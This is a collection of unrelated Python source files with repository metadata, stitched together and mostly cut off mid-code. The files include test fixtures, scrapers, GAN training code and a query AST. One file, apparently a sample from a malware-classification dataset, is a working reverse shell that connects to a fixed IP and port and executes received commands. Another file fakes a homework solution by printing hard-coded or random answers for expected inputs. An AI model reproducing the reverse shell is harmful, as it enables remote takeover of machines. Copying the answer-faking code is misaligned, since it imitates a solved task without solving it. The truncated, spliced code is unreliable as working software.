import os def make_directory(list_of_directories: list): """ Function to make all directories mentioned in the list of directories Arguments: list_of_directories {list} -- A list of all directories to make """ for directory in list_of_directories: try: os.make...
[ "joelraymann@gmail.com" ]
joelraymann@gmail.com
e6374aa91492461e20d397ac051f55081586c001
96dcea595e7c16cec07b3f649afd65f3660a0bad
/tests/components/imap/conftest.py
74176efab1111feff3c6bffe793404860d480967
[ "Apache-2.0" ]
permissive
home-assistant/core
3455eac2e9d925c92d30178643b1aaccf3a6484f
80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743
refs/heads/dev
2023-08-31T15:41:06.299469
2023-08-31T14:50:53
2023-08-31T14:50:53
12,888,993
35,501
20,617
Apache-2.0
2023-09-14T21:50:15
2013-09-17T07:29:48
Python
UTF-8
Python
false
false
3,569
py
"""Fixtures for imap tests.""" from collections.abc import Generator from unittest.mock import AsyncMock, MagicMock, patch from aioimaplib import AUTH, LOGOUT, NONAUTH, SELECTED, STARTED, Response import pytest from .const import EMPTY_SEARCH_RESPONSE, TEST_FETCH_RESPONSE_TEXT_PLAIN @pytest.fixture def mock_setup_...
[ "noreply@github.com" ]
home-assistant.noreply@github.com
5b36b3037acce9f2274b10884091c4222e3f01e0
a7a0db638e50b9f1da25093a0eb7805ef1e1af2f
/utils2/news.py
748a494d2ee913d9c12735c45c94b1a359e35abc
[]
no_license
Cicadadenis/Bot_magaz
2fd94bb4ab2d0f5f41b3ce7bf7484e311ed7c6c4
bcdce1c146c1cf493e8a069c4f001d4c471f9fa8
refs/heads/main
2023-05-11T03:22:14.335877
2021-05-26T11:07:00
2021-05-26T11:07:00
366,662,115
2
1
null
null
null
null
UTF-8
Python
false
false
1,212
py
import requests from bs4 import BeautifulSoup def get_article(): bbc_request = requests.get('https://www.bbc.com/news') soup = BeautifulSoup(bbc_request.text, "html.parser") raw_article = soup.find_all('div', {'class': 'gs-c-promo-body gel-1/2@xs gel-1/1@m gs-u-mt@m'})[0].find_all(text=True, recursive=Tru...
[ "noreply@github.com" ]
Cicadadenis.noreply@github.com
a9101438684b5f7ba3b9841858a3a31675eb384a
3056736f013b25d1e70adb355082c578e5091314
/ml_quality/datasets/shit/async_postgres.py
aa3b10e4a97ec91e19a75591ab5e55295fd4919c
[]
no_license
flerchy/codestyle-core
dcad1385b76678e4473f0804d2ecfaa03866d124
a009bcd2f17dadd440ea5ff24bd3167e38948bff
refs/heads/master
2021-01-20T03:21:16.694322
2017-06-05T05:52:35
2017-06-05T05:52:35
89,524,181
0
1
null
null
null
null
UTF-8
Python
false
false
660
py
from Queue import Queue import threading import psycopg2 from contextual_logger.writers.norm import INSERT LOG_QUEUE = Queue() def write(row): LOG_QUEUE.put_nowait(row) def writer_thread(database_config): conn = psycopg2.connect(**database_config) conn.autocommit = True cur = conn.cursor() whi...
[ "flerchy@gmail.com" ]
flerchy@gmail.com
d133ea567cb55226797eae38f61e3e91cb360c61
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2070/49405/272974.py
cb5fdb798c8f01f71f79cd475a95254d389f1564
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
193
py
s = input() if s == "2.10000": print("9.26100") exit() if s == "2.00000": import random if random.randint(0, 100) < 50: print("0.25000") else: print("1024.00000") exit()
[ "1069583789@qq.com" ]
1069583789@qq.com
ccd480eb1b638e2c3d41dc48e933613a3a7c7ec3
1b59d3bcc76401d86a0ea0d0e9cb60ccf9f6de5b
/tools/py/query/miniast.py
7889a5c409300d08343365128a8b334681223f2f
[ "Apache-2.0" ]
permissive
uogbuji/versa
baebe45018abed103eafdc1246d121cf7ae1907e
9fd34102d6c04eba8890c5bba1bcbfccecda097c
refs/heads/master
2022-05-09T11:16:51.960946
2022-04-19T15:37:41
2022-04-19T15:37:41
17,493,493
8
2
Apache-2.0
2022-04-12T16:02:19
2014-03-06T21:36:26
Python
UTF-8
Python
false
false
3,952
py
#versa.query.ast from versa.util import column class query(object): 'Versa query language abstract syntax tree expression instance' pass class conjunction(query): def __init__(self, left, right): self.left = left self.right = right def evaluate(self, ctx): #FIXME: what the h...
[ "uche@ogbuji.net" ]
uche@ogbuji.net
d7ec44ea0aeb574c2e8ee2d8fbc5d49a26d9aa2f
01abb5fe2d6a51e8ee4330eaead043f4f9aad99d
/Repo_Files/Zips/plugin.video.streamhub/resources/lib/ssources/movies14.py
798cffc7f54c147c12c317a42e6c91a0b5fff289
[]
no_license
MrAnhell/StreamHub
01bb97bd3ae385205f3c1ac6c0c883d70dd20b9f
e70f384abf23c83001152eae87c6897f2d3aef99
refs/heads/master
2021-01-18T23:25:48.119585
2017-09-06T12:39:41
2017-09-06T12:39:41
87,110,979
0
0
null
2017-04-03T19:09:49
2017-04-03T19:09:49
null
UTF-8
Python
false
false
5,143
py
# -*- coding: utf-8 -*- ''' Exodus Add-on Copyright (C) 2016 Exodus This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any l...
[ "mediahubiptv@gmail.com" ]
mediahubiptv@gmail.com
f20c4aba79014e6453fdf7359c939345bbb3f69f
3b786d3854e830a4b46ee55851ca186becbfa650
/SystemTesting/pylib/nsx/neutron/services_node_load_balancer_config/schema/load_balancer_global_site_schema.py
c7da17425b2cd7199ff83290d374f3de1ca2beb7
[]
no_license
Cloudxtreme/MyProject
d81f8d38684333c22084b88141b712c78b140777
5b55817c050b637e2747084290f6206d2e622938
refs/heads/master
2021-05-31T10:26:42.951835
2015-12-10T09:57:04
2015-12-10T09:57:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,162
py
import base_schema import resource_link_schema import tag_schema class LoadBalancerGlobalSiteSchema(base_schema.BaseSchema): _schema_name = "loadbalancerglobalsite" def __init__(self, py_dict=None): """ Constructor to create LoadBalancerGlobalSiteSchema object @param py_dict : python dictiona...
[ "bpei@vmware.com" ]
bpei@vmware.com
433b263f5f284f42312e4bc69e84348c695cb350
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_259/ch131_2020_04_01_17_29_02_789437.py
ad429826c9444de1ce0fda32968ed2480587f306
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
795
py
import random dado1 = random.randint(1,10) dado2 = random.randint(1,10) soma = dado1+dado2 dinheiro = 10 while True: num1 = int(input("Digite um número: ")) num2 = int(input("Digite outro número: ")) if soma<num1: print("Soma menor") elif soma>num2: print("Soma maior") else: ...
[ "you@example.com" ]
you@example.com
a6b2d20d2a5f3f4f63068b809ec0955923e40383
d5214b1331c9dae59d95ba5b3aa3e9f449ad6695
/quintagroup.plonegooglesitemaps/branches/plone4/setup.py
183890227ea89fbb5ee2e5a18376afa94a240ab1
[]
no_license
kroman0/products
1661ee25a224c4b5f172f98110944f56136c77cf
f359bb64db22f468db5d1e411638790e94d535a2
refs/heads/master
2021-01-10T07:58:04.579234
2014-06-11T12:05:56
2014-06-11T12:05:56
52,677,831
0
0
null
null
null
null
UTF-8
Python
false
false
1,390
py
# -*- coding: utf-8 -*- from setuptools import setup, find_packages import os version = '1.4.5dev' setup(name='quintagroup.plonegooglesitemaps', version=version, description="Allows Plone websites to get better visibility for Google search engine", long_description=open("README.txt").read() + "\n" +...
[ "mylan@4df3d6c7-0a05-0410-9bee-ae8b7a76f946" ]
mylan@4df3d6c7-0a05-0410-9bee-ae8b7a76f946
984c37607e16ad25e2961ef32434028e8845e084
04e5b6df2ee3bcfb7005d8ec91aab8e380333ac4
/Lib/objc/_GraphVisualizer.py
bd7ba7305fdd62fca279e070c0f245d863ccf445
[ "MIT" ]
permissive
ColdGrub1384/Pyto
64e2a593957fd640907f0e4698d430ea7754a73e
7557485a733dd7e17ba0366b92794931bdb39975
refs/heads/main
2023-08-01T03:48:35.694832
2022-07-20T14:38:45
2022-07-20T14:38:45
148,944,721
884
157
MIT
2023-02-26T21:34:04
2018-09-15T22:29:07
C
UTF-8
Python
false
false
578
py
""" Classes from the 'GraphVisualizer' framework. """ try: from rubicon.objc import ObjCClass except ValueError: def ObjCClass(name): return None def _Class(name): try: return ObjCClass(name) except NameError: return None GVInternalRenderer = _Class("GVInternalRenderer") GV...
[ "adrilabbelol@gmail.com" ]
adrilabbelol@gmail.com
d8d406973e7f1354cfe1dc9628e51003245f6746
c5959b7e4fc5b752b54a6352449c1bb0d28d9115
/bab/bab-13/pyqt_minimal.py
4e1153d00bb32fe9bd86826f1fbabee39e258c3b
[]
no_license
romanbatavi/kickstarter-python
f5592a371740b28c045ef99dd510d1c6a92ff8d1
ed3eb692e09a3f44fd3e0b16ab7b042ee2658db6
refs/heads/master
2023-03-29T11:34:23.774873
2021-04-04T09:11:28
2021-04-04T09:11:28
354,500,208
0
0
null
null
null
null
UTF-8
Python
false
false
502
py
######################################################### # Nama file: pyqt_minimal.py ######################################################### import sys from PyQt5.QtWidgets import QApplication, QWidget, QLabel if __name__ == '__main__': a = QApplication(sys.argv) form = QWidget() form.resize(200, 100...
[ "romanbatavi98@gmail.com" ]
romanbatavi98@gmail.com
7fecf82f9e0def8e0cc1c70aa219da69038869b8
eca2c46ca66acc0d7eec31d406c8c93fdea3abe5
/ext_purchase/purchase.py
7b71e16426662c362acdffcfc6e32685aed9974a
[]
no_license
kittiu/monta-addons
8c2e554f24163386b6c7f392227fa848944ef42a
bc75002dbce0d4870b67f1f4d0d3f44bc5b41cdc
refs/heads/master
2021-01-02T22:50:25.788591
2014-10-30T04:35:47
2014-10-30T04:35:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,692
py
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU...
[ "kittiu@gmail.com" ]
kittiu@gmail.com
637e902011eaaeafcfe0d968861b59b570eb2779
d3198e16c96aeae14add1071d3ba53b3869ccb91
/neural_model_prediction.py
6e4c3afa8da9b0b5d7683b42220ec566db02dd49
[]
no_license
litpuvn/corona19
ba86d48c75a2f69a344474831cf56941e93392de
ca41a47e3ba7149b2fa657c93cff765509b79cd5
refs/heads/master
2021-03-24T01:24:11.952120
2020-07-02T15:53:44
2020-07-02T15:53:44
247,503,055
0
0
null
null
null
null
UTF-8
Python
false
false
3,324
py
import datetime import numpy as np import pandas as pd import matplotlib.pyplot as plt from keras.engine.topology import Input from keras.layers.core import RepeatVector, Dropout from keras.layers.normalization import BatchNormalization from keras.layers.pooling import MaxPooling1D from keras.layers.recurrent import LS...
[ "litpuvn@gmail.com" ]
litpuvn@gmail.com
d61f2b837ac39bd842829f8e287b046e8b72f2c1
cbafab192b5072b8e9150dcada8013503af40fca
/Django/testproject/testproject/urls.py
116ca51d04cc89c4e0d0df8fb2daf8cf802eef88
[]
no_license
lafitehhq/PythonProject
928421b49ff0ea9fd536ca7769a04fe990848929
d5d0352541a29ee070884263e7eb50160cd7b3b5
refs/heads/master
2021-09-06T01:48:42.971720
2018-02-01T11:56:50
2018-02-01T11:56:50
106,712,281
0
0
null
null
null
null
UTF-8
Python
false
false
1,471
py
"""testproject URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.11/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Clas...
[ "lafitehhq@126.com" ]
lafitehhq@126.com
56c676e0c291045ce166c29956a32968bf3154d4
a2ef47ae30bbf44175aa2f3398f9d3f7358870a6
/fnsservice/fns/models_/СвПредЮЛ.py
57f74acff103f89bf736bfa4b63163ffa52cfcb0
[]
no_license
kmakeev/fnsservice
a1342f045441f0ee6683cfbbe1358d11bb3cf60e
66d677ce6cc298d7404fb4db5ffe1162a5f493a3
refs/heads/master
2021-06-17T18:09:15.894765
2021-02-10T07:39:35
2021-02-10T07:39:35
243,219,506
2
1
null
2021-02-10T07:22:23
2020-02-26T09:11:34
JavaScript
UTF-8
Python
false
false
2,070
py
from django.db import models from .ГРНДатаТип import ГРНДатаТип, ГРНДатаТипCreate class СвПредЮЛ(models.Model): #4.29 НаимПредЮЛ = models.CharField(max_length=500, null=True, blank=True, verbose_name='Полное наименование представительства или филиала в Российской Федерации...
[ "kmakeev@arbitr.ru" ]
kmakeev@arbitr.ru
cc1c8646cd48fa6f8d81f8a5a87c9e95d127953a
860c31e414c4c280b70ec0872042d715a2d56978
/test/test_databases/test_afdb.py
d8be2baa60e70b73053e9ccd10b3143ad0d93715
[ "MIT" ]
permissive
DeepPSP/torch_ecg
255e49ff436e13044a1f049141f982680e56970e
a40c65f4fefa83ba7d3d184072a4c05627b7e226
refs/heads/master
2023-09-01T06:47:17.153216
2023-08-31T18:00:47
2023-08-31T18:00:47
298,482,237
111
16
MIT
2023-08-21T11:25:07
2020-09-25T06:03:17
Python
UTF-8
Python
false
false
6,016
py
""" methods from the base class, e.g. `load_data`, are comprehensively tested in this file TestAFDB: accomplished subsampling: accomplished """ import re import shutil from pathlib import Path import numpy as np import pandas as pd import pytest from torch_ecg.databases import AFDB, DataBaseInfo from torch_ecg.uti...
[ "wenh06@gmail.com" ]
wenh06@gmail.com
36546843db81f634647eaf07b676373abeae529f
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/rBMsnM8HuGNSwkBCR_7.py
754b54f3d319ebad447c529dd13f4b0413d5a173
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
855
py
""" Create a function that takes a string containing money in dollars and pounds sterling (seperated by comma) and returns the sum of _dollar bills only_ , as an integer. For the input string: * Each amount is prefixed by the currency symbol: **$** for dollars and **£** for pounds. * Thousands are represented by...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
6bb31739bdfd74c86c4e1619e881d29e8acb47ae
0ae2bb21d7ca71a691e33cb044a0964d380adda2
/python/P139.py
5c82a424198d85f76c3385f06272797f0fb18fb3
[]
no_license
xwang322/Coding-Interview
5d27ec92d6fcbb7b929dd98bb07c968c1e1b2a04
ee5beb79038675ce73c6d147ba9249d9a5ca346a
refs/heads/master
2020-03-10T08:18:34.980557
2018-06-24T03:37:12
2018-06-24T03:37:12
129,282,263
2
6
null
2018-04-19T19:31:24
2018-04-12T16:41:28
Python
UTF-8
Python
false
false
834
py
class Solution(object): # DFS, TLE ''' def wordBreak(self, s, wordDict): for char in s: flag = False for word in wordDict: if char in word: flag = True if flag == False: return False return sel...
[ "noreply@github.com" ]
xwang322.noreply@github.com
e5f15defed6f1758e349f75ea46446bdf958f480
816b4a00ab192221cbf8e8ff11ef51099064edf3
/model_train/keras_yolo3/util/voc_anotion.py
aa85b436a73b457d15f1677284b1f6072fa1b68a
[]
no_license
huachao2017/freezerdl
089aa584c93f44bb24c7ca68c22369b0f4bcd450
f30c329654a969dd01fff6347619d35d01ce0419
refs/heads/master
2020-12-02T03:02:23.606551
2020-07-31T08:55:03
2020-07-31T08:55:03
230,865,837
1
0
null
null
null
null
UTF-8
Python
false
false
1,739
py
import xml.etree.ElementTree as ET from set_config import config sets=[('2007', 'train'), ('2007', 'val'), ('2007', 'test')] def convert_annotation(image_id, list_file,class_names,Annotations_path): in_file = open((Annotations_path+'%s.xml')%(image_id)) tree=ET.parse(in_file) root = tree.getroot() for o...
[ "908601417@qq.com" ]
908601417@qq.com
7daf2993abad7ee4c9a658d589fd99f967ec820c
054bc8696bdd429e2b3ba706feb72c0fb604047f
/python/stats/Beta2CI/Beta2CI.py
a493e856e696d7b290e4031d9c35cb0fbe5f2b71
[]
no_license
wavefancy/WallaceBroad
076ea9257cec8a3e1c8f53151ccfc7c5c0d7200f
fbd00e6f60e54140ed5b4e470a8bdd5edeffae21
refs/heads/master
2022-02-22T04:56:49.943595
2022-02-05T12:15:23
2022-02-05T12:15:23
116,978,485
2
3
null
null
null
null
UTF-8
Python
false
false
3,872
py
#!/usr/bin/env python3 """ Convert from regression beta and se to confidence interval. Currently the default CI is 95%. @Author: wavefancy@gmail.com Usage: Beta2CI.py -b int -s int [-l] Beta2CI.py -h | --help | -v | --version | -f | --format Notes: 1. Read results from s...
[ "wavefancy@gmail.com" ]
wavefancy@gmail.com
b5bc76168ea99cb2fea344e2120cbbda16ddc8a3
bc10a5df6d3f7e59cea6bf364ac614d39d04ac75
/BigGAN-PyTorch-1-exp-master/DCGAN/train_func_wgan_div_sinkhorn.py
16235ad86d80d39015f9e833d33801a8614f5511
[ "MIT" ]
permissive
AnonymousGFR/wbgan.pytorch
f65efdb1f5a6678b7344a6e4186f6e78d446d53c
d75cb6599852e901df0136db87520e3314f8ca71
refs/heads/master
2023-04-14T06:22:34.542167
2019-10-08T14:28:46
2019-10-08T14:28:46
210,862,958
1
0
MIT
2023-03-24T23:08:30
2019-09-25T14:17:04
Python
UTF-8
Python
false
false
4,029
py
import torch import torchvision import tqdm from TOOLS import gan_losses from TOOLS import sinkhorn_autodiff def train_func(data_loader, G, D, G_ema, ema, z_train, g_optimizer, d_optimizer, z_sample, train_dict, args, myargs): def train(**kwargs): for i, (imgs, _) in enumerate(tqdm.tqdm(data_loader)): t...
[ "you@example.com" ]
you@example.com
60fb4040de04dfc7d6e86d5a0a794a820013b314
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad779.py
55c2ef571b2119725bffe001b425473c440aa8db
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
355
py
import gzip import threading import socket import crypt import lzma import zlib import zipfile import bz2 import subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(...
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
3211f891a74b89207e910ca9f7ae4b003f3c36b3
66358f0897dd92882344a9ec87adff2003c9bc76
/leetcode/1~100/83. Remove Duplicates from Sorted List.py
c97091572c2b4e366e545874096c69226f71ea0f
[]
no_license
Parkyes90/algo
973c5f84ed1cae41bb963a5838b835473c8dc984
86490aad1774631ad947bdf12818e9ddba8a8ed0
refs/heads/master
2023-04-06T23:17:08.372040
2023-03-30T10:18:11
2023-03-30T10:18:11
244,273,220
0
0
null
null
null
null
UTF-8
Python
false
false
878
py
# Definition for singly-linked list. from typing import List class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def deleteDuplicates(self, head: ListNode) -> ListNode: if not head: return head exists = {head.val} node = he...
[ "parkyes90@gmail.com" ]
parkyes90@gmail.com
6b5c58a447c32d7e8cae31c70f9ee151e35311dc
82b728e805d887102c0b8c415731b353877690cd
/samples/generated_samples/aiplatform_generated_aiplatform_v1_migration_service_search_migratable_resources_async.py
f9f1384ae695ca8974654312037b3a9f719de199
[ "Apache-2.0" ]
permissive
geraint0923/python-aiplatform
90c7742c9bdbde05b9688b117e8e59c0406d6f85
7ab05d5e127636d96365b7ea408974ccd6c2f0fe
refs/heads/main
2023-08-24T05:30:38.519239
2021-10-27T20:38:25
2021-10-27T20:38:25
370,803,114
0
0
Apache-2.0
2021-05-25T19:15:47
2021-05-25T19:15:46
null
UTF-8
Python
false
false
1,677
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "noreply@github.com" ]
geraint0923.noreply@github.com
c67d1da65dd17b85cefe35a3283ce9774c68ae3d
7503725bc8098d34e0973c5661685582bef0cbbb
/mmdet2trt/models/utils/position_encoding.py
f876a57a6239117e3456372eec65c71e5c25c6be
[ "Apache-2.0" ]
permissive
zjj-2015/mmdetection-to-tensorrt
bf280ef9359ec95293eee5062cf184786133543a
e1b91743cd4c9a145fc2b2701baef5ff648a1a4c
refs/heads/master
2023-08-30T05:00:26.866383
2021-11-16T14:18:10
2021-11-16T14:18:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,607
py
import torch from mmdet2trt.models.builder import register_wraper from torch import nn @register_wraper('mmdet.models.utils.SinePositionalEncoding') class SinePositionalEncodingWraper(nn.Module): def __init__(self, module): super(SinePositionalEncodingWraper, self).__init__() self.module = module...
[ "streetyao@live.com" ]
streetyao@live.com
df5e405c0fd579f817a1011125ce67953a3ac59a
1bdf38834c22b0100595cb22f2862fd1ba0bc1e7
/code854KSimilarStrings.py
745fbbf9be0ecdbf0ec14b9152cb796ad44f1b1e
[]
no_license
cybelewang/leetcode-python
48d91c728856ff577f1ccba5a5340485414d6c6e
635af6e22aa8eef8e7920a585d43a45a891a8157
refs/heads/master
2023-01-04T11:28:19.757123
2020-10-29T05:55:35
2020-10-29T05:55:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
780
py
""" 854 K-Similar Strings Strings A and B are K-similar (for some non-negative integer K) if we can swap the positions of two letters in A exactly K times so that the resulting string equals B. Given two anagrams A and B, return the smallest K for which A and B are K-similar. Example 1: Input: A = "ab", B ...
[ "guoligit@gmail.com" ]
guoligit@gmail.com
7ab538b92273ca41271b7b24ac7f3ac9c012ce00
94731794042f0a41e46473e09983550bfc230cb4
/app1/migrations/0003_auto_20160730_2051.py
1cbf158ae2682f3134f763a878819ed66b50a895
[]
no_license
wdudek82/helloworld
886a8e43c302a25e5a3b2466c9a87641c02fc787
549b02c53bf1c8f0c19c933a142cdd76b7adbad4
refs/heads/master
2020-05-20T09:24:54.788223
2016-09-26T19:58:20
2016-09-26T19:58:20
65,041,317
0
0
null
null
null
null
UTF-8
Python
false
false
830
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2016-07-30 18:51 from __future__ import unicode_literals import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('app1', '0002_hello_created_at'), ]...
[ "wdudek82@gmail.com" ]
wdudek82@gmail.com
632e58bfce92b1c70e8879a0de289f8e2bddcd33
280306386a78c5d03374333da4873360728f09e2
/api/posts/views/post_kanbans.py
8686ca5ffa9377002f2fc48c01433dd62620d1d6
[]
no_license
alexhernandez-git/talendy-backend
40d2ecbcdc2fc1f691eac09ff984a08234589eaf
64aa08425b76847ef2b0fa1f7f6c4e8de350e7ff
refs/heads/main
2023-06-24T16:33:39.405690
2021-06-07T06:02:21
2021-06-07T06:02:21
353,082,098
0
0
null
null
null
null
UTF-8
Python
false
false
4,131
py
"""Users views.""" # Django import pdb from django.core.mail import EmailMultiAlternatives from django.template.loader import render_to_string # Django REST Framework from api.users.models import User import stripe import json import uuid from django.core.exceptions import ObjectDoesNotExist from rest_framework imp...
[ "vlexhndz@gmail.com" ]
vlexhndz@gmail.com
0dd217060069afe1b3399147f35dd8d39e717d5e
d2884c24be412a3f04b31e042bc7ee99cda37a96
/爬虫10/爬虫/weibo/weibo/settings.py
23fe3fd4cb50af5d3858cc5e354e298abd1bf70e
[]
no_license
a1403893559/xigong
95c2b24b3e365bff275758901b7315c3255a8f05
b07f5c26e8bcc7a56bacb4202d266ad56daa182b
refs/heads/master
2021-10-09T03:18:32.123278
2018-12-20T13:03:42
2018-12-20T13:03:42
116,777,919
0
0
null
null
null
null
UTF-8
Python
false
false
3,299
py
# -*- coding: utf-8 -*- # Scrapy settings for weibo project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # https://doc.scrapy.org/en/latest/topics/settings.html # https://doc.scrapy.org/en/latest/topics/...
[ "1403893559@qq.com" ]
1403893559@qq.com
1662124319bb541dc0933f6be9d3dd4fdafc8702
f6e90791b2069f0f9db6fe81e4bce29c35cef8cb
/supervised/callbacks/early_stopping.py
09f840095ee070c4bd144af0fa31c3f05e669085
[ "MIT" ]
permissive
partrita/mljar-supervised
f408049f9c818b7b088c5c03f3d4c6b5f3cf4287
00cc0f1749451342923d4205e9707decf32f6872
refs/heads/master
2022-12-23T13:08:18.073032
2020-09-29T04:06:42
2020-09-29T04:06:42
299,481,354
1
0
MIT
2020-09-29T02:15:46
2020-09-29T02:15:45
null
UTF-8
Python
false
false
7,102
py
import os import logging import numpy as np import pandas as pd from supervised.callbacks.callback import Callback from supervised.utils.metric import Metric from supervised.utils.config import LOG_LEVEL logger = logging.getLogger(__name__) logger.setLevel(LOG_LEVEL) from supervised.utils.config import mem class E...
[ "pplonski86@gmail.com" ]
pplonski86@gmail.com
310b24d1cd14bbab5003f7c9a199271de58cdd0c
1ddcb250a7393e881b23a61a60b00008762e93d8
/shop/migrations/0004_auto_20181024_1108.py
6619ae1db340c5014d4a8cfd65a8211008614e0a
[]
no_license
Nancy-Muthinzi/capstone-project
5c6c3206ab826cc05723a9e69595d5855aa9f5a3
605ccfb4dfae164b0dac4979d3bd0136171d0c93
refs/heads/master
2020-04-02T09:57:40.710552
2018-10-26T13:59:43
2018-10-26T13:59:43
154,316,871
0
0
null
null
null
null
UTF-8
Python
false
false
393
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.15 on 2018-10-24 08:08 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('shop', '0003_auto_20181023_1702'), ] operations = [ migrations.RenameModel( ...
[ "nanciekathini@gmail.com" ]
nanciekathini@gmail.com